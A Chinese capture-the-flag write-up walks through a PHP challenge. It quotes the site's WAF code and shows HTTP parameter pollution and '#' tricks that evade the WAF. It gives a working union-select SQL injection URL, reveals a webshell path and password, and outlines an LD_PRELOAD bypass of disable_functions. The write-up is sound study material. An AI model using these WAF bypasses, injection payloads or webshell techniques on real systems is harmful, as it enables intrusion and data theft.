三个白帽之招聘又开始了,你怕了吗 writeup
注入
成功登录后台后就要想办法注入了,cookie虽然经过了编码能躲过waf,可是在解密的时候,有一个正则白名单,一言不合就置空,因此这条路走不通了。
if (!preg_match("/^\w+$/",$result)) { $result=""; }
那么唯一可能的注入点就是这里了,用来查看用户信息
$sql="select * from user where id=".$_REQUEST["id"].";";
不过,似乎waf变态的过分了
function waf($str) { if(stripos($str,"select")!==false) die("Be a good person!"); if(stripos($str,"union")!==false) die("Be a good person!"); ...... } function wafArr($arr) { foreach ($arr as $k => $v) { waf($k); waf($v); } } wafArr($_GET); wafArr($_POST); wafArr($_COOKIE); wafArr($_SESSION); function stripStr($str) { if (get_magic_quotes_gpc()) $str = stripslashes($str); return addslashes(htmlspecialchars($str, ENT_QUOTES, 'UTF-8')); } $uri = explode("?",$_SERVER['REQUEST_URI']); if(isset($uri[1])) { $parameter = explode("&",$uri[1]); foreach ($parameter as $k => $v) { $v1 = explode("=",$v); if (isset($v1[1])) { $_REQUEST[$v1[0]] = stripStr($v1[1]); } } } function stripArr($arr) { $new_arr = array(); foreach ($arr as $k => $v) { $new_arr[stripStr($k)] = stripStr($v); } return $new_arr; } $_GET=stripArr($_GET); $_POST=stripArr($_POST); $_COOKIE=stripArr($_COOKIE); $_SESSION=stripArr($_SESSION);
不仅存在几乎影响功能的黑名单,还对所有参数进行的转义,找waf的漏洞似乎走不通,不过这里有个奇怪的地方,为什么用$_REQUEST["id"],而不用$_GET["id"],而且,为什么要单独处理一遍uri,重新组建$_REQUEST数组呢?这里应该就是突破口
$uri = explode("?",$_SERVER['REQUEST_URI']); if(isset($uri[1])) { $parameter = explode("&",$uri[1]); foreach ($parameter as $k => $v) { $v1 = explode("=",$v); if (isset($v1[1])) { $_REQUEST[$v1[0]] = stripStr($v1[1]); } } }
仔细思考,漏洞往往是由于实际与开发人员想的不一样产生的,而这里,又会有哪些意外的情况?答案就是HPP(HTTP Parameter Pollution),由于HTTP Sever对参数的处理,尤其是重复出现参数处理是各不相同的,这就可能有意外发生,具体细节可以看相关资料。
观察waf.php的处理逻辑,waf先将参数依次通过黑名单检测,再通过REQUEST_URI重组$_REQUEST,而本题的HTTP Sever是Apache,如果出现重复的参数,后出现的参数会覆盖前面出现的,所以如果我们能构造一个URL,让HTTP Sever以为存在重复的参数,而php的处理代码却不认为存在重复的参数,就可以将注入语句隐藏在先出现的参数中从而逃逸waf的黑名单检测(由于HTTP Sever只传给php覆盖后的值,当然waf不生效了,而在重组$_REQUEST时,覆盖并没有发生,所以注入语句顺利的被执行)
不过,这种事情可能发生吗?不仅可能,方法还很多,举几个栗子
user.php?id=0 or 1&id%00=1 user.php?id=0 or 1&%20id=1 user.php?id=0 or 1?&id=1
不过只能从重复参数做文章吗?我们知道在解析参数时,#之后是不会参与解析,而waf.php中的代码并没有针对#的处理,所以这里应该也是一个突破口,这里我们可以做个测试
<?php var_dump($_GET); echo $_SERVER['REQUEST_URI'];
不过浏览器不会把#号与之后的数据发送出去,所以这里我们要借助burp的帮助,构造user.php#?id=1,很明显,我们的目的达到了,$_GET中并没有任何数据,而REQUEST_URI中存在。
因此任意选一种方法都能绕过waf,而数据库的结构都在源码里,所以直接注出数据即可,不过由于REQUEST_URI经过URL编码,所以空格会被编码为%20,所以我们需要避免空格,单引号等会被编码的字符,不过这很容易,用/**/或者()即可,参考payload如下
http://451bf8ea3268360ee.jie.sangebaimao.com/admin/user.php?id=0/**/union/**/select/**/1,2,3,4,(select/**/content/**/from/**/memo)&id%00=1
注入出memo中的内容
/NQTGmhlG3im8PUcsO2GgMCieThLtbqi4.php password:firesun flag is at /.
存在一个一句话,密码是firesun,flag在系统根目录,首先执行phpinfo(),可以看到禁用了大部分危险函数和类,同时限制了open_basedir,所以进入最后一步
bypass open_basedir and disable_functions
这一步基本就是alictf homework的最后一步,没有禁用putenv与mail,所以可以通过设置LD_PRELOAD来执行自己的代码,详细可以参阅http://drops.wooyun.org/tips/16054